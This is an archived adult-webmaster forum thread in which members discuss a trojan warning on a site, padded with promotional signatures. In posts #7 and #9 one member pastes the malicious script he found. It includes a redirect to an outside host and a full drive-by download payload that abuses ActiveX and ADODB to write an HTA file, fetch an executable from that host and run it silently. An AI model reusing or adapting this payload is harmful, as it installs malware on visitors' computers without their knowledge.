Call Kelly has a trojan???

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Titan
    Confirmed User
    • Jun 2002
    • 994

    #1

    Call Kelly has a trojan???

    I was visiting this site today and i got a nasty trojan warning:

    http://www.call-kelly.com/index.php
    WARNING DONT CLICK UNLESS YOUR COMPUTER HAS A CONDOM ON!

    These guys have been around for a few years so i dunno whats up. Maybe they got hacked or something.
    TEEN CASH - EXCLUSIVE TEEN NICHE REALITY SITES

    Check out our Newest Site: Teen Porno Pass - Free Hosted Galleries, Flash Galleries, Tube Content, & Great Support
    Sample Galleries: Movie Gallery 1 Flash Gallery 1 Pic Gallery 1
  • beta-tester
    Rock 'n Roll Baby!
    • Sep 2004
    • 22562

    #2
    I don't know about you, but here works without any problems...

    Sig for sale. Affordable prices. Contact me and get a great deal ;)

    My contact:
    ICQ: 944-320-46
    e-mail: manca {AT} HotFreeSex4All.com

    Comment

    • reynold
      Too lazy to set a custom title
      • Oct 2002
      • 51271

      #3
      Sorry, I don't use condom.

      Comment

      • xclusive
        Too lazy to set a custom title
        • Apr 2004
        • 35218

        #4
        didn't come up with me try doing a virus scan on your computer might be from somewhere else

        I support MediumPimpin.com / Shemp's Outlawtgp.com /


        Comment

        • darksoul
          Confirmed User
          • Apr 2002
          • 4997

          #5
          looks clean
          1337 5y54|)m1n: 157717888
          BM-2cUBw4B2fgiYAfjkE7JvWaJMiUXD96n9tN
          Cambooth

          Comment

          • SmutGiant
            Confirmed User
            • Oct 2003
            • 4896

            #6
            It messed up my computer a couple of weeks ago... clicking on that link from this thread just caused my Microsoft AntiSpyware to go off.

            Comment

            • SmokeyTheBear
              ►SouthOfHeaven
              • Jun 2004
              • 28609

              #7
              yup trojan going to

              http://89677.www2.ninoa.com/1_.php?cust=28

              <head>
              <xml:namespace prefix="RS"><style type="text/css">@media all {RS\:clientcaps {behavior:url(#default#clientcaps)}}</style></xml:namespace><RS:clientcaps id="caps" />
              </head>
              <body>
              <script>

              function generic() {

              }

              onerror=generic;


              if ( (typeof(caps.connectionType)hahahaha'undefined') ||
              (caps.connectionType!='lan'))
              {

              document.location="http://89677.www2.ninoa.com/1_.php?cust=28";

              }

              </script>

              </body>
              hatisblack at yahoo.com

              Comment

              • V_RocKs
                Damn Right I Kiss Ass!
                • Nov 2003
                • 32466

                #8
                Sorry, but:

                FUCKING RUSSIANS!

                Comment

                • SmokeyTheBear
                  ►SouthOfHeaven
                  • Jun 2004
                  • 28609

                  #9
                  document.write("<object id=mini classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=Minimize></object><script>mini.Click()</script>");

                  try {
                  var rs = new ActiveXObject("ADODB.Recordset");
                  rs.fields.append("conn", 200, "3000");
                  rs.open();
                  rs.AddNew();

                  rs.Fields("conn").Value = '><script>window.moveTo(10000,10000)</script><HTA:APPLICATION SHOWINTASKBAR="no"><script language="vbscript">: on error resume next : set o = CreateObject("ms"&"xml2.XM"& "LHTTP") : o.open "GET","http://'+prefix+'.www2.nin"&"oa.com/files/epl.exe",False : o.send : set s = createobject("adodb.stream") : s.type=1 : s.open : s.write o.responseBody : execute "s.sa"&"vetofile ""C:/inst.exe"",2": Set os = CreateObject("Shell.Application") : os.ShellExecute "C:/inst.exe", "-d -s -c'+cust+' -installsp2" : window.close()</script>';

                  rs.Update();
                  rs.Save("C:/inst.hta", 0);
                  rs.Close();
                  } catch(ex){}

                  document.write("<object id=a classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=shortcut><param name=item1 value=',C:/inst.hta,'></object><script>a.Click()</script>");

                  function cl(){
                  focus();
                  document.write("<object id=c classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=close></object><script>c.Click()</script>");
                  }

                  setTimeout("cl()",500);
                  hatisblack at yahoo.com

                  Comment

                  • tomud
                    Confirmed User
                    • Jun 2002
                    • 7993

                    #10


                    Tomud


                    AFF – up to $1.50 per free join, $130 per order ! NASTYDOLLARS - 35$ PPS ! Free hosted galleries !
                    ADULTDATELINK – $42 PPS, 50% REV ! DATINGGOLD - 100% !!! REV, $4 per email !
                    Adult Sponsors Reviews – take a look at the best adult programs !
                    Epassporte Sponsors

                    ICQ: 160168237

                    Comment

                    • SGS
                      Confirmed User
                      • Dec 2002
                      • 5176

                      #11
                      Isnt this the second time Call Kelly has been hit?
                      See sig...

                      Comment

                      • Dalai lama
                        Strength and Honor
                        • Jul 2004
                        • 16540

                        #12
                        I'm not clicking the link

                        A program you can trust.
                        Gallerybooster Run multiply TGPs of 1 script

                        Comment

                        • Ace_luffy
                          www.creationcrew.com
                          • Feb 2005
                          • 12170

                          #13
                          owww it's not good then


                          ++ Adult and Mainstream Websites Designs | 10 banners for only $50 | html5 Banners ++
                          email : [email protected] Telegram : https://t.me/creationcrew WhatsApp : +63 956 420 4819 | HTML5/Responsive Site - Div/CSS - ElevatedX - NATs - Wordpress

                          Comment

                          • LasseKongos
                            Confirmed User
                            • Aug 2003
                            • 4668

                            #14
                            Cant see anything... What is the program your using to dettect that??

                            Comment

                            • SmokeyTheBear
                              ►SouthOfHeaven
                              • Jun 2004
                              • 28609

                              #15
                              Originally posted by LasseKongos
                              Cant see anything... What is the program your using to dettect that??
                              its gone now
                              hatisblack at yahoo.com

                              Comment

                              • Screaming
                                I can change this!!!!!
                                • Feb 2004
                                • 18972

                                #16
                                that fucking sucks

                                Comment

                                Working...